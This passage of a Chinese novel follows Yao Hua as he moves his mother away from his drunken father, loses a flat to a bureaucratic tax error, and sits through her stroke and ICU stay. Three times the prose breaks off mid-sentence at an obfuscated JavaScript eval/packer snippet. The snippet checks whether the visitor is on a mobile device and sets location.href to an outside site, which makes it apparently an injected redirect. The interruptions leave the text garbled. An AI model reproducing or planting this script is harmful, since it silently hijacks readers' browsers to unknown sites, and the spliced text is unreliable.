姚华放下蒜，站起来。走到娘身边，拉住她胳膊。张玉芬的手还在抖，上头沾着韭菜末——绿的，在昏光里像锈。 “走。”他就说一个字。 张玉芬没动。她看看男人，看看满地狼藉，又看看儿子。这五十四岁的女人眼里，有啥东西正一点点灭，像灶膛里最后一星火，噗，灭了。 “去哪儿？”她声儿轻得像叹气，叹完就散在空气里。 “我那儿。” 姚建国这时回过神，冲过来要拦。一脚踩玻璃碴上，滑了个趔趄，整个人扑茶几上。啤酒瓶倒了，黄汤子在地板上漫开，混着玻璃碴，混着电视机零件，混着九八年那张全家福的碎屑——照片里仨人都抿着嘴，像牙疼忍着，忍着不喊疼。 姚华没回头。他拉着娘跨过盐坨桥，走进雨里。雨打在脸上，跟刚才蒜汁剌伤口一个滋味——辣过后，是麻木的凉。 地藏庵胡同那老砖楼，姚华把上吊死人那屋也租下了。为啥租这间？房东老太太说得实在：“死过人的，便宜。一月一百五，两间凑一块儿才四百。”老太太说话时眼睛瞟着他，像在估量这年轻人的胆子有几斤几两。 姚华没犹豫——他那个隔间，娘来了咋住？总不能娘俩挤一张行军床，头对脚像两尾咸鱼，翻身都得喊一二三。 签合同时老太太又嘀咕：“那屋……你真要？吊死过人的，一个老光棍。” “要。”姚华数钱，数得仔细，“押一付三，这是一千二。” “你娘也来住？” “嗯。” 老太太瞅他一眼，眼神复杂得像团乱麻：“也是，吊死鬼总比醉鬼强。至少清静。” 老太太这话说得在理。世上鬼分两种：一种是不说话的死人变的，一种是活人变的、专说醉话的鬼。两害相权，多数人宁可选前者。 厕所还在走廊尽头上，半夜要解手得提痰盂——痰盂是红色的，印着双喜字，不知哪个新婚夫妇留下的。可两间屋连起来，总算有八九平米了，窗户对着教堂尖顶，每天清早有鸽子落那儿咕咕，咕得像在开小会。 姚华把两屋中间的隔板拆了——本来就是三合板，一撬就开。这下宽敞些，能摆两张窄床，中间拉个布帘子。布是蓝底白花的，像小时候娘的被面。 搬家那天姚华请了半天假。张玉芬的全部家当就一个编织袋：几件换洗衣裳，那把剁馅的刀，还有那袋教辅书。她说这些书和试卷是好货，能变钱——“知识就是力量，这话不假，至少能换成钱。” 新家头一晚，静得让人心慌。没摔东西声，没醉话，没那种憋着要炸的闷。只有雨声，和隔壁老头咳嗽——老头咳得有节奏，像在给这静夜打拍子。 张玉芬坐床沿上发呆。两张床都是一米宽，中间隔道布帘子。姚华在墙上钉钉子挂衣裳，锤子敲砖墙上，咚咚咚，像心跳总算回了正拍——虽然这心跳是钉出来的，勉强得很。 “你爸……”张玉芬开口，又咽回去了。话在喉咙里转了个圈，化成一声叹息。 “甭管了。”姚华说，“以后就咱俩。” “那他一个人……” “死不了。”姚华钉完最后一颗钉子，“有酒就行。酒是他的命，也是他的药，治百病，也生百病。” 布帘子拉上，这边一张床，那边一张床。那一宿姚华睁眼到天亮。他听着帘子那头的呼吸声，听着窗外偶尔过的摩托声，听着这陌生地界所有的声儿。没一样是熟的，这反倒让他踏实——至少，帘子那头的人，不会突然抡酒瓶子。人活着，图的不就是个“至少”么？ 第二天张玉芬又去卖教材和试卷了。摊子还在二中门口。姚华下班路过时瞅见，娘的白发在风里飘，推着三轮车躲城管时跑得踉踉跄跄。旁边修鞋的老头喊：“张姐，慢点儿！书又不会长腿跑了！” 张玉芬回头笑笑，那笑里有种陌生的东西——是轻松，虽然只是一丁点儿，像早春枝头那点绿芽，怯生生的，但毕竟是绿了。 周末姚华去帮忙。有个家长翻着《黄冈密卷》问：“大姐，您儿子干啥的？” 张玉芬顿了顿：“写程序的。”这话她说得顺溜，像背课文。 “哎哟，高科技！”家长眼睛亮了，“在哪儿高就？” “高新区。”张玉芬又补一句，“搞计算机的。” “有出息！”家长痛快地付了钱，“怪不得您这么大年纪还出来卖书，锻炼身体吧？享福的命啊！” 张玉芬笑着点头，接过钱。等家长走了，她低头理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119419|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书，理了很久。姚华看见她手指在“黄冈”俩字上摩挲，摩挲得塑料封皮都发热——烫手。这感觉姚华记了很久。就像他这人，封面看着光鲜，“高新区”“写程序”，摸上去却烫手。都以为他在写字楼里敲键盘，风光得很，谁知道他娘在二中门口卖教辅，谁知道他爹在盐坨村喝得烂醉，谁知道他们家住的是死过人的屋子，中间只隔一道布帘子？ 可至少，娘不用挨打了。至少，半夜醒来不用提心吊胆了。至少，布帘子那边传来的呼吸声是平稳的，不是压抑的抽泣。人生在世，“至少”多了，也能凑成个“够”字。 收摊回去的道上，张玉芬推三轮车，姚华跟旁边。过教堂时，正好听见里头唱诗。咿咿呀呀的调，听不清词，可平和，平得像块磨刀石，能把心里的毛糙都磨平了。 “妈。”姚华突然说。 “嗯？” “等我有钱了，给您租个门脸。” 张玉芬笑了，笑声让风吹散，散成碎片：“那敢情好。要临街的，玻璃窗亮堂堂的，太阳一照，满屋金光。” “嗯，亮堂堂的。”姚华重复着。这话像颗种子，先种下再说，能不能发芽，看天意。 他们接着走。三轮车轮子吱呀吱呀响，像给这话配乐。夕阳把俩人影子拉老长，长得能盖满整条巷子。影子叠一块儿，分不清谁是谁的——分那么清干啥呢？本来就是骨血连着筋的两个人。 姚华想起盐坨村那个家。这会儿爹在干啥？大概又在喝，就着花生米，对着黑屏的电视机——显像管炸了，他舍不得修，也修不起。一个人，一盏灯，一屋酒气。那是他自个儿选的道，怨不得谁。人这一生，大多时候不是走在路上，而是困在自己选的坑里，有人爬出来了，有人还在里头蹲着，蹲成习惯，蹲成风景。 回到出租屋，张玉芬烧水做饭。炉子冒着蓝盈盈的火苗，映着她的脸。姚华板凳上，接着剥蒜——今儿的蒜是从菜市场弄的，卖菜的王婶说，这些蒜头长得丑，没人要，可剥开来，里头是一样的蒜瓣。这话说得通透：外表的光鲜都是给人看的，内里的辛辣才是自己的。 蒜皮还黏手，搓来搓去搓不净。姚华低头瞅自己这双手，忽然笑了。 笑啥？不知道。就觉得，人这一辈子啊，真像剥蒜——你以为剥掉一层就干净了，其实下头还有一层。一层又一层，没完没了。可你还得剥，因为不剥，就吃不着蒜。而日子这盘饺子，没蒜，就没味儿。醋可以没有，酱油可以没有，唯独这蒜，这辛辣的、催人泪下的东西，不能少。 窗外教堂传来钟声，当当当，敲了七下。鸽子又飞回来了，咕咕咕咕，像在唠一天的见闻——东家吵嘴了，西家生孩子了，菜价又涨了，都是这些鸡毛蒜皮。 姚华站起来，走到窗边。他看见教堂尖顶上落满了鸽子，灰扑扑一片，在暮色里都快瞅不清了。可他知道它们在。一直都在。 就像盐坨村那个醉醺醺的爹，就像二中门口那辆三轮车，就像这间死过人的屋子，就像布帘子那头均匀的呼吸——它们都在，构成了他全部的人生。好的，坏的，辣的，苦的，掺在一块儿，就是他的命。 而他能做的，只是接着剥蒜。一层，又一层。剥开贫穷，剥开耻辱，剥开那些说不出口的苦楚，剥到最后，也许能看见一点点白生生的、辛辣的、但真实的东西。 这就够了。真的。辣归辣，它提神，也杀菌。 13. 第十三章 海市蜃楼 姚华在市中心扑腾了五六年。工作像走马灯，从中亚数据的代码，跳到电商平台的订单，又蹦到物流系统的货车调度。换来换去，每月十五号那张工资卡倒总按时响动——钱不多，像护城河的水，浑是浑点，却从不干涸。 日子本可以这般不咸不淡地淌下去。偏偏这天饭桌上，张玉芬扒拉着碗里的米粒，像是随口一提：“华子，咱看看房子去？” 姚华的筷子在半空停了停：“看什么房子？” “就看看。”张玉芬头也没抬，“不买，光看看。” 这一看，就看进了北郊区政府的眼皮底下。新办公楼亮得晃眼，像枚刚擦过的银元。旁边的售楼处更亮，玻璃幕墙把人影切成三截。姚华眯着眼踏进去，大理石地面光可鉴人，他低头瞧见自己鞋尖上的泥痂——昨儿下雨沾的，干了，硬邦邦地贴着。 售楼小姐的套装掐得恰到好处，笑容像是拿熨斗烫过的。那支激光笔的红点在沙盘上跳舞：“韵海雅园，区政府重点配套，限价房。”声音甜得发腻，“您看这绿化，百分之四十呢。” 沙盘做得可真讲究。小树是染绿的塑料丝，水池铺着蓝玻璃碴，还闪着细碎的光。小楼排得整整齐齐，窗户只有芝麻大，窗框线条却一根是一根。姚华盯着看，忽然想起小时候的积木——也是这般齐整，轻轻一推，哗啦啦全散了架。 张玉芬伸手想摸沙盘边沿，指尖刚探出去，售楼小姐轻咳一声：“阿姨，咱上样板间瞧瞧？” 样板间在二楼。门一开，新家具的气味扑面而来，塑料和胶水混在一块儿。张玉芬走得慢，布鞋踩在木地板上，没半点声响。她先摸了摸餐桌——实木的，木纹一道一道。又摸了摸沙发——绒面的，软得能陷进半个身子。最后停在大理石台面前，手指在上面来回滑动。 “这石头滑溜。”她说。 售楼小姐笑：“进口大理石，您摸摸这质感。” 张玉芬真又摸了一遍。手指粗，关节大，指甲缝里还留着洗不掉的蓝——那是捆书用的塑料绳染的。大理石冰凉，光滑得像剥了壳的煮鸡蛋。她摸得仔细，像在抚摸刚满月的孙儿的脸。 “朝南的哪套？”姚华问。 激光笔又亮了，红点停在一栋楼上：“9号楼，801。正南向，全天采光。”她顿了顿，“这套俏，今儿已经有三拨人问过了。” 姚华掏出手机算。公积金贷、商业贷、首付比例，数字在屏幕上跳跃，像在跳一支复杂的舞。张玉芬凑过来看，老花眼得眯成两道缝。 “一月还多少？” “两千四。” “哦。”张玉芬点点头，又摇摇头，“不少。” 从售楼处出来，日头已经偏西。姚华手里多了一沓纸：户型图、价目表、贷款须知。纸厚实，印得精致，攥在手里沉甸甸的。张玉芬把宣传册翻来覆去地看，封面上印着效果图——蓝天白云，绿草如茵，母子俩笑得见牙不见眼。 “真好看。”她说。 “假的。”姚华说，“盖好了不定啥样。” 张玉芬又瞅了一眼：“假的也好看。” 公交车晃晃悠悠往回走。车上人不多，有个老太太拎一篮鸡蛋，搁腿上用手护着。姚华看着那篮鸡蛋，忽然想，买房是不是也这样——小心翼翼护着，该碎时还得碎。 接下来一星期，姚华开始跑材料。收入证明、社保记录、纳税清单……这些纸在小桌上一字排开，像摆开一副扑克牌。张玉芬帮他整理，手指划过那些公章——红的，圆的，像一个个句号。 “这个章盖歪了。”她说。 “没事，能用就行。” 偏偏就栽在这“能用就行”上。房管局办事的是个半秃顶的中年男人，眼镜片厚得像酒瓶底。他把材料翻一遍，又翻一遍，手指在某页上敲了敲。 “这儿不对。” “哪儿？” “纳税记录。”男人推推眼镜，“系统显示，2011年7月，中亚数据给你报的收入是一万二。” 姚华愣了：“我那时工资才三千。” “系统就这么记的。”男人声音平淡得像在说今儿天气不错，“而且那个月你没交税。零申报。” “可我压根不知道……” “材料先搁这儿吧。”男人把那一摞纸往边上一推，“核实了再说。” 核实核实，一核就是三个月。姚华跑了七趟房管局，三趟税务局，还去了趟原公司——公司早搬了，原址成了火锅店。他站在火锅店门口，闻着里头飘出来的麻辣味儿，忽然想笑。生活就是这样，你想找的找不着，不想闻的偏往鼻子里钻。 张玉芬每天问：“有信儿没？” 姚华每天答：“还没。” 问和答越来越短，像在发电报。到后来，张玉芬不问了，姚华也不答了。娘俩坐在小屋里，一个看书，一个看电视。电视是二手市场淘的，图像时不时跳一下，人脸拉长又压扁，像照哈哈镜。 第四个月，姚华终于在房管局走廊里堵到了关键人。姓刘，是个科长，正要下班。姚华跟在他后头，从三楼跟到一楼，又从一楼跟到停车场。刘科长开辆白色轿车，车身上全是划痕，像被野猫挠过。 “刘科长。”姚华喊了一声。 刘科长回头看他，眼里没惊讶，只有疲惫。这种眼神姚华熟——在那些跑衙门跑麻木了的人脸上，在那些等得太久的人脸上，在自个儿照镜子时。 “啥事儿？”刘科长问，手里攥着车钥匙。 姚华用三分钟讲完了自己的事。没添油没加醋，像报菜名似的，时间、地点、事件，一样样报。讲到前公司虚报收入那段，他顿了顿：“我压根不知道有这回事。” 刘科长没说话。从口袋里摸出烟，点上，抽了一口。烟雾在暮色里散开，淡淡的青。他抽得慢，一口，两口，三口。烟头的红光明明灭灭。 停车场里静得很，只有远处马路的车流声。偶尔有下班的人经过，皮鞋敲在地上，哒哒哒。 一支烟抽完了。刘科长把烟蒂扔地上，用脚碾灭。 “材料重做吧。”他说，“我打个招呼。” “那房子……” “先重做材料。”刘科格拉开车门，又回头瞅了姚华一眼，“小伙子，有些事，赶不上就是赶不上。就像这班车，”他指指，“错过了，等下一班。” 车门关上。发动机响，尾灯亮起红。白色轿车慢慢开出停车场，拐个弯，不见了。 姚华站在原地，站了很久。直到停车场管理员过来问：“同志，找谁？” “不找谁。”姚华说。 走回去时，天已经黑透了。路过一处工地，塔吊上的灯亮着，像悬在半空的星星。工人还在干活，敲敲打打的声音在夜里传得很远。 第二天，姚华去房管局补了最后一份材料。盖章时，工作人员使了大劲儿，“咚”一声，特别响。那个章盖得特别正，特别圆，红艳艳的，像过年贴的窗花。 从房管局出来，姚华给售楼处打电话。接电话的还是那个声音甜的小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119420|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “9号楼801还在吗？” “哎呀不好意思先生，那套昨儿刚卖掉。” “那……朝南的还有吗？” “朝南的都没了。现在只剩朝西朝北的，楼层也不太好。”小姐声音还是那么甜，“要不您来看看？其实朝西的也不错，下午有太阳。” 姚华挂了电话。他站在街上，日头很好，照在身上暖洋洋的。他想起来沙盘上那些小房子，想起来样板间的大理石台面，想起来母亲摸台面时的眼神。 然后想起来刘科长的话：有些事，赶不上就是赶不上。 就像小时候，他想要本新《新华字典》，等攒够钱，字典涨价了。就像高考，他想报计算机，等分数出来，分数线涨了。就像现在，他想买套朝南的房子，等资格办下来，房子卖完了。 生活老在涨价。而他老攒不够钱。 回到家，张玉芬正在择韭菜。韭菜新鲜，绿油油的，根上还带着泥。她择得仔细，一根一根，把黄叶子去掉。 “咋样？”她问，没抬头。 “办好了。”姚华说，“可房子没了。” 张玉芬手停了停，接着择。“没了就没了。”她说，“反正也贵。” “嗯。” 晚上吃韭菜盒子。张玉芬煎得两面金黄，咬一口，油滋滋的。姚华吃了三个，第四个吃到一半时，忽然说：“妈，我会买上房子的。” 张玉芬正在盛粥，勺子碰在锅沿上，当的一声。“买不上也没事。”她说，“租房子也挺好，想搬就搬。” “我想买。” “买啥样的？” “朝南的。”姚华说，“大理石台面的。” 张玉芬笑了，笑得眼角皱纹挤作一堆。“那得不少钱。” “我会挣。” 这话说出口，姚华自个儿都觉得虚。像吹了个肥皂泡，看着漂亮，一碰就破。可他还是说了，而且说得挺大声，像要说服谁似的。 窗外传来教堂钟声，当当当，敲了八下。鸽子大概都回窝了，今晚特别静。 姚华洗完碗，坐在小桌前。他把房管局那摞材料拿出来，一张张看。收入证明、社保证明、纳税记录……纸上的字齐齐整整，公章红红艳艳。样样合规定，处处合程序。 可房子没了。 他把材料收起来，塞进抽屉最里头。抽屉有点卡，他使了三次劲才推上。 生活大概就是这样——你按部就班走完所有程序，以为终于能拿到那个小红本了，一抬头，发现终点线让人挪走了。挪得不远，就一丁点儿，刚好够不着。 可你还得接着走。因为除了走，你也不会别的。 张玉芬在屋里哼歌，不成调，就随口哼哼。姚华听了一会儿，听出来是《茉莉花》。她哼得轻，断断续续的，像风里飘的蒲公英。 明天还得上班。明天还得继续。明天兴许有别的楼盘，别的机会，别的盼头。 兴许没有。 可今儿晚上，至少还有韭菜盒子的香味，还有母亲不成调的哼唱，还有抽屉里那一摞厚厚的、盖满了红章的材料。 这就够了。对姚华来说，活人从来不是拥有什么，而是相信明天还能接着相信。 他关了灯。黑暗漫进来，温柔得像床棉被。 睡着前，他最后想了一遍那个沙盘。那些小房子，那些蓝玻璃做的水池，那些塑料丝做的小树。 真讲究啊。 讲究得像一场人人都信、却谁也住不进去的梦。 14. 第十四章 未完的账 张玉芬发病那天，星期二。天气预报说了四个字：“多云转阴”。这话跟没说一样。天晴天阴，人该出门还得出门，日子该过还得过。 她照例要去长江道图书批发市场。凌晨四点半，屋里还黑着。先掏那个折叠小推车，拉开，“咔哒”一声锁紧。车是铁管的，蓝漆掉得斑斑驳驳，推起来右边轮子有点歪，一路“咯噔咯噔”，像自个儿给自个儿报数。车上捆了两个大包袱皮，一红一绿，洗得发白。现在瘪着，等回来就得塞满书，鼓得像俩吃撑了的肚子。 五点十分出门，地藏庵大街的路灯还黄蒙蒙地亮。推车声在静夜里格外响，“咯噔，咯噔”，一步是一步的数。走到公交站，头班车刚好来。车停稳，门“哧啦”一声——麻烦就从这儿开始了。 张玉芬先把小推车往踏板上推。轮子卡在台阶缝里，得弯下腰，两手抓住车架，使劲一提。膝盖“咯吱”一声，她吸了口凉气。上了踏板，还得把车往里拖。车厢里空荡荡，就两个早起的老人。司机从后视镜里看她，开了口： “你这车……占地方啊。” 张玉芬没吭声，从兜里摸出两个一元硬币，“叮当”两声扔进票箱。像投了两个问路石，没听见回响。司机又说：“按规定，你这算大件行李，得再买一张票。” 这话张玉芬听过八百六十遍了。她低着头，把小推车推到后门边的空地，用腿抵住，不让它滑。然后从怀里掏出那个磨得发亮的月票卡，在读卡器上贴了一下。“滴”一声。 司机从镜子里看她，她也从镜子里看司机。两人都没再说话。过了半晌，司机扭回头，嘟囔了一句：“每次都这样。” 车开了。张玉芬扶着栏杆站稳。窗外的街景一点点亮起来，像显影液里慢慢浮出的人脸。她知道司机说得对，按规定是该再买一张票。可规定是规定，日子是日子。一张票两块钱，来回四块。一个月二十多个来回，就是一百来块。一百来块能买三十斤面条，能交半个月的水费，能给姚华添件打折的汗衫——汗衫也是衣裳，能遮体，能挡风。 这脸皮不是天生就厚。是日子一天天磨出来的，像河底的石头，磨圆了，磨滑了，也磨硬了。刚开始她也脸红，也小声解释“就一点书，不占地儿”。后来发现脸红没用，解释也没用。你不掏这两块钱，人家就说你；你掏了，自己心里疼。最后索性不说了，该干嘛干嘛。你嘟囔你的，我站我的。穷到一定份上，脸皮就成了一层茧，厚实，耐磨，挡风挡雨还挡闲话。闲话这东西，听多了也就那么回事，又不能当饭吃。 到市场时天刚蒙蒙亮。老陈的摊位在最里头，要穿过长长一条通道。两边的摊位还蒙着防雨布，像一排排睡着的巨人。她推着小车，轮子声在空旷的市场里回响，“咯噔，咯噔”，像唯一的活物在走夜路。 老陈正在卸货，看见她，抹了把额头的汗：“张姐，真准时。”说着从车上搬下一箱《黄冈密卷》，纸箱落地“砰”一声，扬起一片灰，像下了一场微型雾。 “新到的，厚。”老陈撕开胶带，抽出一本。书脊确实厚，抵得上半块砖。封面红得扎眼，“最新修订”四个字烫着金边，在节能灯下反着光，光里都透着一股子累。 张玉芬接过来掂了掂，没说话。沉不沉都得进，学生要，学校要，考试要。她蹲下身，开始一本本数。数好了，在账本上记数字。字写得大，一板一眼，像小学生描红——她这辈子就认这个，一笔是一笔，一画是一画。 七点半，市场活过来了。人声、车声、卸货声混成一片，像一锅突然煮开的水。张玉芬把挑好的书分两摞，用红绿包袱皮包好，十字交叉捆在小推车上。绳子勒得紧，书被挤得变了形，看着都喘不过气。 推车出市场有一段上坡。平时她能一口气上去，今天推到一半，觉得不对劲。先是眼前飞起几只黑点子，忽闪忽闪，像夏天雨前的蠓虫。她停下，喘口气，以为是没吃早饭。可再推时，右胳膊忽然使不上劲了，像不是自己的，是借来的，到点得还。接着半边身子发麻，从肩膀麻到手指头，像通了电，还是断断续续的那种。 卖煎饼的大姐正摊面糊，瞥见她停在那儿，喊了一嗓子：“张姨，歇会儿啊？” 张玉芬想应一声，嘴张开了，却发不出声。舌头在嘴里打着卷儿，不听使唤，像条离了水的鱼。她想抬手摆摆，示意没事，可胳膊抬到一半，软软地垂下来，像根煮过头了的面条。 这时更怪的事来了。她看见煎饼摊的招牌在晃，不是风吹的那种晃，是整个画面在晃，像隔着一层晃动的水。大姐的脸也变得模糊，嘴巴一张一合，声音却遥远得很，隔山隔海似的——山是书山，海是题海。 她想扶住小推车，手摸过去，摸了个空。其实车就在那儿，可她判断不了距离。眼前的东西都在，可位置全乱了套，像被人胡乱推了一把的积木。 “哎，张姨？”大姐放下铲子，从摊位后绕出来。 张玉芬想往后退一步，腿一软，整个人就往下坐。不是摔倒，是瘫下去，像一袋突然散了架的粮食。屁股先着地，不疼，只是震了一下，震得心里空荡荡的。接着上半身也倒下去，侧躺着，脸贴着冰凉的水泥地。地真凉啊，凉气顺着脊背往上爬，爬得比她的念头还快。 小推车还立在旁边，两个包袱鼓鼓囊囊的，俯视着她。书不说话，书只是看着。 “哎哟！这是咋了？”煎饼大姐的声音真真切切响在头顶。 接着是杂沓的脚步声。一双旧皮鞋停在她脸前，鞋头开裂了，露出里面的灰袜子。是个男人的声音：“咋躺地上了？喝多了？” “大早上的喝什么酒。”另一个女声，尖细，像锥子，“脸咋歪了？你看她这嘴……” 张玉芬想说话，想说我没喝酒，我就是有点晕。可嘴里只能发出“嗬……嗬……”的声音，像破风箱在拉。右半边脸贴在地上，左半边脸朝着天。她能看见一片长方形的天空，灰蓝色，有云慢慢飘过去，云也不急，云有的是时间。 人越围越多。腿，很多腿。牛仔裤，西装裤，花裙子，塑料凉鞋。有个穿校服的小女孩蹲下来，声音嫩嫩的：“奶奶，你疼吗？” 张玉芬眨眨眼。她想说不疼，就是动不了。可话卡在喉咙里，变成一口上不来也下不去的气。 “是不是中暑了？”有人说。 “不像，中暑脸不歪。” “打120吧？谁有手机？” “打了打了，刚打过。” 有个戴金链子的男人挤进来，嗓门很大，像自带喇叭：“都让让！堵这儿干啥？会不会是癫痫？”说着就要来扳张玉芬的肩膀，“得让她侧躺，别噎着！” 煎饼大姐拦住他：“你别乱动！万一是心脏的问题，不能乱动！” 金链子男人讪讪地缩回手：“我这不是好心嘛。” 张玉芬躺在地上，地很凉，凉气已经爬满了全身。她忽然想起姚华小时候发烧，她整夜用毛巾给他擦身子。那时候姚华的小脸通红，嘴唇干得起皮，她就蘸了温水一点点润。现在轮到她躺在这儿，身边围着一圈陌生人，吵吵嚷嚷，像在讨论一件破损的家具——家具破了还能修，人破了，不知道找谁修。 远处传来救护车的声音，呜呜的，越来越近，像在哭。有人喊：“来了来了！让条道！” 穿白衣服的人蹲下来，翻她眼皮，拿小手电照。光刺眼，她闭上眼。闭眼之前，看见光里飞舞的灰尘，原来光里也有这么多乱七八糟的东西。 “家属呢？有家属吗？” 煎饼大姐说：“她常在这儿摆摊，好像有个儿子……” “手机，她身上有手机吗？” 有人从她怀里掏出那个布包，翻出个老式诺基亚。绿色的屏幕，边角磕掉了一块漆，像她的人生，也缺了一角。 “最近通话……这个，‘华子’，打这个。” 电话拨通了。张玉芬听见听筒里传来姚华的声音：“喂？妈？” 她想应，可喉咙里只发出嗬嗬的响声，像风吹过破窗户纸。 穿白衣服的人对着电话说：“你是张玉芬家属吗？你母亲在二中门口晕倒了，情况不太好，我们要送她去第四医院……” 后面的话张玉芬没听清。她被抬上担架，抬起来时，世界颠倒了。天空到了脚下，地面到了头顶。她看见自己的小推车还立在路边，两个包袱歪歪斜斜的，像两个没人要的孩子，在风里站着，等着。 担架推进救护车，门关上的瞬间，她看见煎饼大姐弯腰捡起了什么——是她那顶浅灰色的帽子，上面的小向日葵沾了土，黄得有点黯淡，像过了季节的花。 车开了。□□在转，光影在车厢里扫过来，扫过去，扫得人心里乱。医生在填单子，钢笔尖划在纸上，沙沙的，像下小雨。张玉芬看着车顶，白色的铁皮，有些锈迹，锈迹像地图，不知道通向哪里。 她忽然想，今天进的这些卷子，怕是卖不了了。明天要是还下雨，书该受潮了。受潮的书卖不上价，卖不上价就亏本，亏本就白干了。 穷人的脑子就是这样，到了这时候，算的还是这些鸡毛蒜皮。不是不算大账，是大账算不起，只能算小账。小账一笔笔摞起来，就是一辈子。一辈子能有多重？有时候就是一车书的重量，推起来咯噔咯噔响，但你不能停，停了，车就倒了。 医院里，账还没完。 急救楼道里，姚华握着母亲的手，那手凉得像井水，握久了，自己的手也跟着凉。他想说“书车都好好的”，可话堵在喉咙里，变成一阵哽咽。哽咽这东西，上不来下不去，最噎人。护士走进来，探视时间到了。 “家属先出去吧。”护士的声音平板，没有不耐烦，也没有温度，只是陈述一个规则，像念药瓶上的说明书，“ICU有固定探视时间。” 姚华松开手，张玉芬的手指动了动，轻轻勾了他一下。很轻的一下，像羽毛扫过，但他感觉到了。他点点头，退到门外。那扇厚重的门缓缓关上，将母亲和那些嘀嗒作响的仪器留在另一个世界。门里门外，两个世界，中间就隔着一层铁皮，一层玻璃，却比什么都远。 走廊里弥漫着消毒水和一种难以言喻的沉闷气息。几个家属或坐或蹲，脸上是如出一辙的疲惫和茫然。姚华在靠墙的塑料椅上坐下，骨头缝里都透着酸。这才想起来，从昨天中午到现在，他没吃一口东西，没合一眼。不觉得饿，也不觉得困，整个人是空的，被一场突如其来的暴雨冲刷得干干净净，只剩下一副沉重的躯壳。躯壳还得用，还得跑腿，缴费，签字，说“是”或者“不是”。 就在他盯着对面墙上“静”字出神时——医院最爱贴这个字，可医院最静不下来——余光瞥见走廊尽头出现个人影。那人走得慢，一步一探，像是走不惯这光洁的瓷砖地，也像是怕踩响了什么。姚华起初没在意，医院里走路慢的人多了。直到那人越走越近，停在了他面前，投下一片影子。 是姚建国。 姚华有好些日子没见他了。猛一看，竟有些生分。姚建国还是那副样子，又好像完全不是那副样子。他顶着一头灰白相间的头发，留着一个盖儿头。这发型让姚华莫名想起以前录像厅里看过的香港电影里一个叫“八两金”的演员——不是说长相像，是那种被生活揉搓过后，五官仿佛都有些移位、凑在一起显得格外愁苦的劲儿像。他穿了件分不清原本是蓝色还是灰色的旧夹克，拉链坏了，用别针别着。脚上是双军绿色胶鞋，鞋帮裂了口，露出里面深色的袜子。他没提东西，两手空空，就那么在姚华面前站着，喘着气，额头上有一层细密的汗珠——看来又是一路走过来的。从他们家那片老城区走到环湖医院，少说也得两个多钟头。两个多钟头，够想很多事，也可能什么都没想，只是走，走着走着就到了。 父子俩对视了几秒，谁也没先开口。空气凝固了，像冻住的猪油。最后还是姚建国挪开视线，看向ICU紧闭的门，喉结动了动，像咽下了一口很干的东西：“你妈……在里面？” “嗯。”姚华应了一声，像扔出一块小石子。 “咋样了？” “手术做了，还没脱离危险。”这话像背书，已经说了太多遍。 姚建国“哦”了一声，声音干巴巴的，像晒裂的豆荚。他在姚华旁边的空椅子上坐下，不是放松地坐，是只坐了半个屁股，腰板挺着，两只手撑在膝盖上，指关节粗大，指甲缝里嵌着洗不掉的黑色，那是日子染上去的。他身上有股汗味、烟味和一种老房子潮湿木头混合的气味，这气味姚华熟悉，是记忆里的父亲味。 “你咋来的？”姚华问。他知道问也是白问。 “走来的。”姚建国果然这么答，眼睛依旧盯着ICU的门，好像能盯穿似的。“听到信儿，就来了。”他没说怎么听到的信儿，可能是邻居，可能是哪个还在来往的远亲。他没有手机，也不给人打电话，消息总是这么拐弯抹角、姗姗来迟，像过时的新闻。 又是一阵沉默。走廊那头有个女人在低声啜泣，声音压抑着，像漏气的风箱，一抽一抽的。 “医生怎么说？”姚建国又问，还是那个问题，好像多问一遍，答案就能好一点似的。 姚华把跟医生说过的话又重复了一遍：出血量、手术、可能的偏瘫失语。姚建国听着，脸上没什么表情，只是撑在膝盖上的手，慢慢握成了拳，青筋绷起来，像几条挣扎的蚯蚓。 “得花不少钱吧？”他终于问到了这个。人到这一步，最后总得落到钱上，像水总要流到低处。 “押金交了一万，手术费还不知道，ICU一天好几千。”姚华的声音很平，像在念一张与他无关的清单，清单上的数字冷冰冰的，不帶感情。 姚建国没接话。他低下头，看着自己裂口的胶鞋尖，好像鞋尖上能看出答案。他从夹克内袋里摸索了半天，掏出一个洗得发硬、边缘脱线的旧手帕包。手帕捆得紧紧的，他笨拙地解开，里面露出卷得皱皱巴巴的几十块钱。有一百的，有五十的，更多的是十块五块，甚至还有几张一块的毛票，像一群面值不同的散兵游勇。他拿起那卷钱，手指有些抖，递过来：“就……就这些，你先拿着。” 那卷钱很薄，撑死了也就三四百块。卷得紧，显得更瘦。姚华没接。他看着父亲那张被日光和酒精过早侵蚀的脸，沟壑纵横，像被雨水冲坏了的田埂。忽然觉得心里堵得慌。不是生气，不是埋怨，是一种更复杂、更无力的东西，像一团浸了水的旧棉絮，沉甸甸地压在胸口。这点钱，在医院里，连一天的床铺费都不够，连一针好点的药都买不起。 “你自己留着吧。”姚华说。 姚建国的手在半空中僵了一下，随即像被烫到似的缩了回去，脸一下子涨红了，红里透着紫。“你看不起这点钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 